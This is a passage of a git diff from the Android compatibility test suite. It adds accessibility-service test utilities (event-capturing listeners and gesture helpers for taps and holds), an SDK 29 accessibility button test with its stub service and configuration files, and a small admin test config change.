+ final Display display = createDisplay(context, metrics.widthPixels,
+ metrics.heightPixels, metrics.densityDpi, isPrivate);
+
+ try {
+ TestUtils.waitOn(waitObject,
+ () -> displayManager.getDisplay(display.getDisplayId()) != null,
+ DISPLAY_ADDED_TIMOUT_MS,
+ String.format("wait for virtual display %d adding", display.getDisplayId()));
+ } finally {
+ displayManager.unregisterDisplayListener(listener);
+ }
+ return display;
+ }
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingClickListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingClickListener.java
new file mode 100644
index 0000000..116bccf
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingClickListener.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.view.View;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/** A click event listener that keeps an ordered record of events. */
+public class EventCapturingClickListener implements View.OnClickListener {
+
+ private final BlockingQueue<View> mViews = new LinkedBlockingQueue<>();
+
+ @Override
+ public void onClick(View view) {
+ mViews.offer(view);
+ }
+
+ /** Insure that the specified views have received click events. */
+ public void assertClicked(View... views) {
+ View view;
+ try {
+ for (View v : views) {
+ long waitTime = 5; // seconds
+ view = mViews.poll(waitTime, SECONDS);
+ assertNotNull(
+ "Expected click event for "
+ + v.toString()
+ + " but none present after "
+ + waitTime
+ + " seconds",
+ view);
+ if (v != view) {
+ fail("Unexpected click event for view" + view.toString());
+ }
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /** Insure that no click events have been received. */
+ public void assertNoneClicked() {
+ try {
+ long waitTime = 1; // seconds
+ View view = mViews.poll(waitTime, SECONDS);
+ if (view != null) {
+ fail("Unexpected click event for view" + view.toString());
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingHoverListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingHoverListener.java
new file mode 100644
index 0000000..87d46ba
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingHoverListener.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static android.view.MotionEvent.ACTION_HOVER_MOVE;
+import static java.util.concurrent.TimeUnit.SECONDS;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.view.MotionEvent;
+import android.view.View;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/** This Listener listens for and logs hover events so they can be checked later by tests. */
+public class EventCapturingHoverListener implements View.OnHoverListener {
+
+ private boolean shouldConsumeEvents; // whether or not to keep events from propagating to other
+ // listeners
+ private final BlockingQueue<MotionEvent> mEvents = new LinkedBlockingQueue<>();
+
+ public EventCapturingHoverListener(boolean shouldConsumeEvents) {
+ this.shouldConsumeEvents = shouldConsumeEvents;
+ }
+
+ public EventCapturingHoverListener() {
+ this.shouldConsumeEvents = true;
+ }
+
+ @Override
+ public boolean onHover(View view, MotionEvent MotionEvent) {
+ assertTrue(mEvents.offer(MotionEvent.obtain(MotionEvent)));
+ return shouldConsumeEvents;
+ }
+
+ /** Insure that no hover events have been detected. */
+ public void assertNonePropagated() {
+ try {
+ long waitTime = 1; // seconds
+ MotionEvent event = mEvents.poll(waitTime, SECONDS);
+ if (event != null) {
+ fail("Unexpected touch event " + event.toString());
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /**
+ * Check for the specified hover events. Note that specifying ACTION_HOVER_MOVE will match one
+ * or more consecutive ACTION_HOVER_MOVE events.
+ */
+ public void assertPropagated(int... eventTypes) {
+ MotionEvent ev;
+ long waitTime = 5; // seconds
+ try {
+ List<String> expected = new ArrayList<>();
+ List<String> received = new ArrayList<>();
+ for (int e : eventTypes) {
+ expected.add(MotionEvent.actionToString(e));
+ }
+ ev = mEvents.poll(waitTime, SECONDS);
+ assertNotNull(
+ "Expected " + expected + " but none present after " + waitTime + " seconds",
+ ev);
+ // By this point there is at least one received event.
+ received.add(MotionEvent.actionToString(ev.getActionMasked()));
+ ev = mEvents.poll(waitTime, SECONDS);
+ while (ev != null) {
+ int action = ev.getActionMasked();
+ if (action != ACTION_HOVER_MOVE) {
+ received.add(MotionEvent.actionToString(action));
+ } else {
+ // Add the current event if the previous received event was not ACTION_MOVE
+ String prev = received.get(received.size() - 1);
+ if (!prev.equals(MotionEvent.actionToString(ACTION_HOVER_MOVE))) {
+ received.add(MotionEvent.actionToString(action));
+ }
+ }
+ ev = mEvents.poll(waitTime, SECONDS);
+ }
+ assertEquals(expected, received);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingLongClickListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingLongClickListener.java
new file mode 100644
index 0000000..5daf89e
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingLongClickListener.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.view.View;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/** A click event listener that keeps an ordered record of events. */
+public class EventCapturingLongClickListener implements View.OnLongClickListener {
+
+ // whether or not to keep events from propagating to other listeners.
+ // Note that setting this to false means that the accessibility service will see both a long
+ // click and a click event when you perform a double tap and hold gesture
+ private boolean shouldConsumeEvents;
+ private final BlockingQueue<View> mViews = new LinkedBlockingQueue<>();
+
+ public EventCapturingLongClickListener(boolean shouldConsumeEvents) {
+ this.shouldConsumeEvents = shouldConsumeEvents;
+ }
+
+ public EventCapturingLongClickListener() {
+ this.shouldConsumeEvents = true;
+ }
+
+ @Override
+ public boolean onLongClick(View view) {
+ mViews.offer(view);
+ return true;
+ }
+
+ /** Insure that the specified views have received long click events. */
+ public void assertLongClicked(View... views) {
+ View view;
+ try {
+ for (View v : views) {
+ long waitTime = 5; // seconds
+ view = mViews.poll(waitTime, SECONDS);
+ assertNotNull(
+ "Expected long click event for "
+ + v.toString()
+ + " but none present after "
+ + waitTime
+ + " seconds",
+ view);
+ if (v != view) {
+ fail("Unexpected long click event for view" + view.toString());
+ }
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /** Insure that no click events have been received. */
+ public void assertNoneLongClicked() {
+ try {
+ long waitTime = 1; // seconds
+ View view = mViews.poll(waitTime, SECONDS);
+ if (view != null) {
+ fail("Unexpected long click event for view" + view.toString());
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
index d7ae4592..3997ebe 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
@@ -16,22 +16,109 @@
package android.accessibilityservice.cts.utils;
+import static android.view.MotionEvent.ACTION_MOVE;
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.view.MotionEvent;
import android.view.View;
+import java.util.ArrayList;
+import java.util.List;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
public class EventCapturingTouchListener implements View.OnTouchListener {
+ private static final long WAIT_TIME_SECONDS = 5;
+ private static final long MIN_WAIT_TIME_SECONDS = 2;
+ // whether or not to keep events from propagating to other listeners
+ private boolean shouldConsumeEvents;
+ private final BlockingQueue<MotionEvent> events = new LinkedBlockingQueue<>();
- public final BlockingQueue<MotionEvent> events = new LinkedBlockingQueue<>();
+ public EventCapturingTouchListener(boolean shouldConsumeEvents) {
+ this.shouldConsumeEvents = shouldConsumeEvents;
+ }
+
+ public EventCapturingTouchListener() {
+ this.shouldConsumeEvents = true;
+ }
@Override
public boolean onTouch(View view, MotionEvent motionEvent) {
assertTrue(events.offer(MotionEvent.obtain(motionEvent)));
- return true;
+ return shouldConsumeEvents;
+ }
+
+ /** Insure that no touch events have been detected. */
+ public void assertNonePropagated() {
+ try {
+ MotionEvent event = events.poll(MIN_WAIT_TIME_SECONDS, SECONDS);
+ if (event != null) {
+ fail("Unexpected touch event " + event.toString());
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /**
+ * Check for the specified touch events. Note that specifying ACTION_MOVE will match one or more
+ * consecutive ACTION_MOVE events.
+ */
+ public void assertPropagated(int... eventTypes) {
+ MotionEvent ev;
+ try {
+ List<String> expected = new ArrayList<>();
+ List<String> received = new ArrayList<>();
+ for (int e : eventTypes) {
+ expected.add(MotionEvent.actionToString(e));
+ }
+ ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+ assertNotNull(
+ "Expected " + expected + " but none present after " + WAIT_TIME_SECONDS
+ + " seconds",
+ ev);
+ // By this point there is at least one received event.
+ received.add(MotionEvent.actionToString(ev.getActionMasked()));
+ ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+ while (ev != null) {
+ int action = ev.getActionMasked();
+ if (action != ACTION_MOVE) {
+ received.add(MotionEvent.actionToString(action));
+ } else {
+ // Add the current event if the previous received event was not ACTION_MOVE
+ String prev = received.get(received.size() - 1);
+ if (!prev.equals(MotionEvent.actionToString(ACTION_MOVE))) {
+ received.add(MotionEvent.actionToString(action));
+ }
+ }
+ ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+ }
+ assertEquals(expected, received);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public List<MotionEvent> getRawEvents() {
+ List<MotionEvent> motionEvents = new ArrayList<>();
+ MotionEvent ev;
+ try {
+ ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+ while (ev != null) {
+ motionEvents.add(ev);
+ ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ assertFalse(motionEvents.isEmpty());
+ return motionEvents;
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
index 99fa727..40192dd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
@@ -22,12 +22,30 @@
import android.accessibilityservice.GestureDescription.StrokeDescription;
import android.graphics.Path;
import android.graphics.PointF;
+import android.view.MotionEvent;
import android.view.ViewConfiguration;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
+
import java.util.concurrent.CompletableFuture;
public class GestureUtils {
+ public static final Matcher<MotionEvent> IS_ACTION_DOWN =
+ new MotionEventActionMatcher(MotionEvent.ACTION_DOWN);
+ public static final Matcher<MotionEvent> IS_ACTION_POINTER_DOWN =
+ new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_DOWN);
+ public static final Matcher<MotionEvent> IS_ACTION_UP =
+ new MotionEventActionMatcher(MotionEvent.ACTION_UP);
+ public static final Matcher<MotionEvent> IS_ACTION_POINTER_UP =
+ new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_UP);
+ public static final Matcher<MotionEvent> IS_ACTION_CANCEL =
+ new MotionEventActionMatcher(MotionEvent.ACTION_CANCEL);
+ public static final Matcher<MotionEvent> IS_ACTION_MOVE =
+ new MotionEventActionMatcher(MotionEvent.ACTION_MOVE);
+
private GestureUtils() {}
public static CompletableFuture<Void> dispatchGesture(
@@ -73,7 +91,7 @@
public static StrokeDescription longClick(PointF point) {
return new StrokeDescription(path(point), 0,
- ViewConfiguration.getLongPressTimeout() * 3 / 2);
+ ViewConfiguration.getLongPressTimeout() * 3);
}
public static StrokeDescription swipe(PointF from, PointF to) {
@@ -141,4 +159,124 @@
public static PointF ceil(PointF p) {
return new PointF((float) Math.ceil(p.x), (float) Math.ceil(p.y));
}
+
+ public static GestureDescription doubleTap(PointF point) {
+ return multiTap(point, 2);
+ }
+
+ public static GestureDescription tripleTap(PointF point) {
+ return multiTap(point, 3);
+ }
+
+ public static GestureDescription multiTap(PointF point, int taps) {
+ return multiTap(point, taps, 0);
+ }
+
+ public static GestureDescription multiTap(PointF point, int taps, int slop) {
+ GestureDescription.Builder builder = new GestureDescription.Builder();
+ long time = 0;
+ if (taps > 0) {
+ // Place first tap on the point itself.
+ // Subsequent taps will be offset somewhere within slop radius.
+ // If slop is 0 subsequent taps will also be on the point itself.
+ StrokeDescription stroke = click(point);
+ builder.addStroke(stroke);
+ time += stroke.getDuration() + 40;
+ for (int i = 1; i < taps; i++) {
+ stroke = click(getPointWithinSlop(point, slop));
+ builder.addStroke(startingAt(time, stroke));
+ time += stroke.getDuration() + 40;
+ }
+ }
+ return builder.build();
+ }
+
+ public static GestureDescription doubleTapAndHold(PointF point) {
+ GestureDescription.Builder builder = new GestureDescription.Builder();
+ StrokeDescription tap1 = click(point);
+ StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 40, longClick(point));
+ builder.addStroke(tap1);
+ builder.addStroke(tap2);
+ return builder.build();
+ }
+
+ private static class MotionEventActionMatcher extends TypeSafeMatcher<MotionEvent> {
+ int mAction;
+
+ MotionEventActionMatcher(int action) {
+ super();
+ mAction = action;
+ }
+
+ @Override
+ protected boolean matchesSafely(MotionEvent motionEvent) {
+ return motionEvent.getActionMasked() == mAction;
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ description.appendText("Matching to action " + MotionEvent.actionToString(mAction));
+ }
+ }
+
+ public static Matcher<MotionEvent> isAtPoint(final PointF point) {
+ return isAtPoint(point, 0.01f);
+ }
+
+ public static Matcher<MotionEvent> isAtPoint(final PointF point, final float tol) {
+ return new TypeSafeMatcher<MotionEvent>() {
+ @Override
+ protected boolean matchesSafely(MotionEvent event) {
+ return Math.hypot(event.getX() - point.x, event.getY() - point.y) < tol;
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ description.appendText("Matching to point " + point);
+ }
+ };
+ }
+
+ public static Matcher<MotionEvent> isRawAtPoint(final PointF point) {
+ return isRawAtPoint(point, 0.01f);
+ }
+
+ public static Matcher<MotionEvent> isRawAtPoint(final PointF point, final float tol) {
+ return new TypeSafeMatcher<MotionEvent>() {
+ @Override
+ protected boolean matchesSafely(MotionEvent event) {
+ return Math.hypot(event.getRawX() - point.x, event.getRawY() - point.y) < tol;
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ description.appendText("Matching to point " + point);
+ }
+ };
+ }
+
+ public static PointF getPointWithinSlop(PointF point, int slop) {
+ return add(point, slop / 2, 0);
+ }
+
+ /**
+ * Simulates a user placing one finger on the screen for a specified amount of time and then multi-tapping with a second finger.
+ * @param explorePoint Where to place the first finger.
+ * @param tapPoint Where to tap with the second finger.
+ * @param taps The number of second-finger taps.
+ * @param waitTime How long to hold the first finger before tapping with the second finger.
+ */
+ public static GestureDescription secondFingerMultiTap(
+ PointF explorePoint, PointF tapPoint, int taps, int waitTime) {
+ GestureDescription.Builder builder = new GestureDescription.Builder();
+ long time = waitTime;
+ for (int i = 0; i < taps; i++) {
+ StrokeDescription stroke = click(tapPoint);
+ builder.addStroke(startingAt(time, stroke));
+ time += stroke.getDuration();
+ time += ViewConfiguration.getDoubleTapTimeout() / 3;
+ }
+ builder.addStroke(swipe(explorePoint, explorePoint, time));
+ return builder.build();
+ }
}
diff --git a/tests/accessibilityservice/testsdk29/Android.bp b/tests/accessibilityservice/testsdk29/Android.bp
new file mode 100644
index 0000000..87d3c5a
--- /dev/null
+++ b/tests/accessibilityservice/testsdk29/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsAccessibilityServiceSdk29TestCases",
+ defaults: ["cts_defaults"],
+
+ srcs: ["src/**/*.java"],
+
+ sdk_version: "test_current",
+
+ static_libs: [
+ "ctstestrunner-axt",
+ "CtsAccessibilityCommon",
+ ],
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/accessibilityservice/testsdk29/AndroidManifest.xml b/tests/accessibilityservice/testsdk29/AndroidManifest.xml
new file mode 100644
index 0000000..90b2f5f
--- /dev/null
+++ b/tests/accessibilityservice/testsdk29/AndroidManifest.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.accessibilityservice.cts.testsdk29">
+
+ <uses-sdk android:targetSdkVersion="29" />
+
+ <application android:theme="@android:style/Theme.Holo.NoActionBar"
+ android:requestLegacyExternalStorage="true">
+
+ <uses-library android:name="android.test.runner" />
+
+ <service
+ android:name="android.accessibilityservice.cts.StubAccessibilityButtonSdk29Service"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService" />
+ <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+ </intent-filter>
+
+ <meta-data
+ android:name="android.accessibilityservice"
+ android:resource="@xml/stub_accessibility_button_service" />
+ </service>
+
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.accessibilityservice.cts.testsdk29"
+ android:label="Tests for the accessibility Sdk 29 APIs.">
+ <meta-data
+ android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
diff --git a/tests/accessibilityservice/testsdk29/AndroidTest.xml b/tests/accessibilityservice/testsdk29/AndroidTest.xml
new file mode 100644
index 0000000..7125585
--- /dev/null
+++ b/tests/accessibilityservice/testsdk29/AndroidTest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS accessibility service Sdk 29 test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
+ <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAccessibilityServiceSdk29TestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.accessibilityservice.cts.testsdk29" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+ <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+ <option name="directory-keys" value="/sdcard/android.accessibilityservice.cts.testsdk29" />
+ <option name="collect-on-run-ended-only" value="true" />
+ </metrics_collector>
+</configuration>
diff --git a/tests/accessibilityservice/testsdk29/res/values/strings.xml b/tests/accessibilityservice/testsdk29/res/values/strings.xml
new file mode 100644
index 0000000..3ed4fee
--- /dev/null
+++ b/tests/accessibilityservice/testsdk29/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+
+ <!-- String description for the accessibility button service -->
+ <string name="stub_accessibility_button_service_description">StubAccessibilityButtonSdk29Service</string>
+
+</resources>
diff --git a/tests/accessibilityservice/testsdk29/res/xml/stub_accessibility_button_service.xml b/tests/accessibilityservice/testsdk29/res/xml/stub_accessibility_button_service.xml
new file mode 100644
index 0000000..6e7e483
--- /dev/null
+++ b/tests/accessibilityservice/testsdk29/res/xml/stub_accessibility_button_service.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/stub_accessibility_button_service_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagRequestAccessibilityButton"
+ android:notificationTimeout="0" />
diff --git a/tests/accessibilityservice/testsdk29/src/android/accessibilityservice/cts/AccessibilityButtonSdk29Test.java b/tests/accessibilityservice/testsdk29/src/android/accessibilityservice/cts/AccessibilityButtonSdk29Test.java
new file mode 100644
index 0000000..6ea4e2a
--- /dev/null
+++ b/tests/accessibilityservice/testsdk29/src/android/accessibilityservice/cts/AccessibilityButtonSdk29Test.java
@@ -0,0 +1,74 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON;
+
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/**
+ * Test to verify accessibility button targeting sdk 29 APIs.
+ */
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityButtonSdk29Test {
+
+ private InstrumentedAccessibilityServiceTestRule<StubAccessibilityButtonSdk29Service>
+ mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ StubAccessibilityButtonSdk29Service.class);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mServiceRule)
+ .around(mDumpOnFailureRule);
+
+ private StubAccessibilityButtonSdk29Service mService;
+ private AccessibilityServiceInfo mServiceInfo;
+
+ @Before
+ public void setUp() {
+ mService = mServiceRule.getService();
+ mServiceInfo = mService.getServiceInfo();
+
+ assertTrue(mService.getApplicationInfo().targetSdkVersion == Build.VERSION_CODES.Q);
+ assertTrue((mServiceInfo.flags & FLAG_REQUEST_ACCESSIBILITY_BUTTON)
+ == FLAG_REQUEST_ACCESSIBILITY_BUTTON);
+ }
+
+ @Test
+ public void testUpdateRequestAccessibilityButtonFlag_succeeds() {
+ mServiceInfo.flags &= ~FLAG_REQUEST_ACCESSIBILITY_BUTTON;
+ mService.setServiceInfo(mServiceInfo);
+ assertTrue("Update flagRequestAccessibilityButton should succeed",
+ mService.getServiceInfo().flags == mServiceInfo.flags);
+ }
+}
diff --git a/tests/accessibilityservice/testsdk29/src/android/accessibilityservice/cts/StubAccessibilityButtonSdk29Service.java b/tests/accessibilityservice/testsdk29/src/android/accessibilityservice/cts/StubAccessibilityButtonSdk29Service.java
new file mode 100644
index 0000000..59a1feb
--- /dev/null
+++ b/tests/accessibilityservice/testsdk29/src/android/accessibilityservice/cts/StubAccessibilityButtonSdk29Service.java
@@ -0,0 +1,23 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+
+/**
+ * A stub accessibility service targeting sdk 29 for accessibility button test cases.
+ */
+public class StubAccessibilityButtonSdk29Service extends InstrumentedAccessibilityService {
+}
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index f99f8bf..66070cb 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -21,6 +21,8 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<!-- Not testing features backed by native code, so only need to run against one ABI -->
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <!-- Uses SwitchUserTargetPreparer to switch to system so running secondary is not relevant -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system" />
diff --git a/tests/admin/OWNERS b/tests/admin/OWNERS
